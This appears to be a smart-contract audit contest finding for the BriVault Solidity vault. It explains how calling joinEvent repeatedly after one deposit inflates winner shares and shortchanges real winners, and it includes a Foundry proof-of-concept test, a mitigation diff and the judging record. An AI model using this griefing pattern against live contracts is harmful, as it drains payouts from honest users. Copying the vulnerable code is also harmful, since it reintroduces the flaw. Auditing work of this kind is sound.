BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

CEI not followed - Griefing - Due to lack of necessary state variable update/check, a user with one-time deposit can call joinEvent function multiple times for multiple countries, increase totalWinnerShares and decrease the actual winners' shares.

Root + Impact

Description

  • The protocol is prone to a kind of reentrancy attack which will lead to the winners griefing.

  • Due to not following the CEI pattern and the missing update of the BriVault::stakedAsset state variable in the BriVault::joinEvent function, a user can call it several times with a one-time deposit.

  • Since the user's selected team is stored in a mapping (BriVault::userToCountry), the user can neither increase their own chance of winning by participating multiple times for different teams nor rise their share of the prize if they bet several times on the same winner team. Eventually, the last option is stored in the mapping. However, it pollutes the calculations and falsely increases the total number of shares (caused by fake participation). Hence, reducing the share of the actual winners from the prize.

function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
// Ensure countryId is a valid index in the `teams` array
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
@> usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
function _getWinnerShares () internal returns (uint256) {
@> for (uint256 i = 0; i < usersAddress.length; ++i){
@> address user = usersAddress[i];
@> totalWinnerShares += userSharesToCountry[user][winnerCountryId];
}
return totalWinnerShares;
}

Risk

Likelihood: High

  • A malicious user can easily call the BriVault::joinEvent function multiple times after depositing once.

  • This vulnerability is so simple that does not even need another smart contract to perform.

Impact: High

  • By exploiting this vulnerability the malicious user can cause miscalcalutions and eventually getting far less shares from the prize pool by the winners.

  • In addition, it breaks the contract's invariant of users should only join once mentioned in the protocolFlow.txt file.

  • The malicious user themself will also suffer from this if their chosen team happens to be the winner.

  • The remaining assets will remain in the vault.

Proof of Concept

You can see the exploit in action by copy/pasting the following function to the briVault.t.sol test file and running it.

function test_multipleJoinEventCallsCauseGriefing() public {
vm.startPrank(user1);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, user1);
for (uint256 i = 0; i < 10; ++i) {
briVault.joinEvent(10);
}
briVault.joinEvent(20);
briVault.cancelParticipation();
vm.stopPrank();
vm.startPrank(user2);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, user2);
briVault.joinEvent(10);
vm.stopPrank();
vm.warp(eventEndDate + 1);
vm.startPrank(owner);
briVault.setWinner(10);
vm.stopPrank();
uint256 user2BalanceBefore = IERC20(address(mockToken)).balanceOf(
user2
);
uint256 vaultBalanceBefore = IERC20(address(mockToken)).balanceOf(
address(briVault)
);
vm.startPrank(user2);
briVault.withdraw();
vm.stopPrank();
uint256 user2BalanceAfter = IERC20(address(mockToken)).balanceOf(user2);
uint256 vaultBalanceAfter = IERC20(address(mockToken)).balanceOf(
address(briVault)
);
assert(user2BalanceAfter - user2BalanceBefore < 1 ether); // 5 ether - fee is divided among winners (user2, and 10 non-winner non-existent user1 which only caused griefing)
assert(vaultBalanceBefore - vaultBalanceAfter > 0); // Not all amount has been withdrawn
}

Recommended Mitigation

By making the following changes in the BriVault::deposit and BriVault::joinEvent functions, and defining the two custom errors, we can elimintate this issue as follows:

+ error alreadyRegistered();
+ error alreadyDeposited();
function deposit(uint256 assets, address receiver) public override returns (uint256) {
require(receiver != address(0));
if (block.timestamp >= eventStartDate) {
revert eventStarted();
}
uint256 fee = _getParticipationFee(assets);
// charge on a percentage basis points
if (minimumAmount + fee > assets) {
revert lowFeeAndAmount();
}
uint256 stakeAsset = assets - fee;
stakedAsset[receiver] = stakeAsset;
+ if (balanceOf(msg.sender) != 0) {
+ revert alreadyDeposited();
+ }
+ userToCountry[msg.sender] = "None";
uint256 participantShares = _convertToShares(stakeAsset);
IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee);
IERC20(asset()).safeTransferFrom(msg.sender, address(this), stakeAsset);
_mint(msg.sender, participantShares);
emit deposited (receiver, stakeAsset);
return participantShares;
}
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
// Ensure countryId is a valid index in the `teams` array
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
+ if (
+ keccak256(abi.encodePacked(userToCountry[msg.sender])) !=
+ keccak256(abi.encodePacked("None"))
+ ) {
+ revert alreadyRegistered();
+ }
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
Updates

Appeal created

bube Lead Judge 21 days ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
farnad Submitter
20 days ago
bube Lead Judge
18 days ago
bube Lead Judge 17 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Duplicate registration through `joinEvent`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!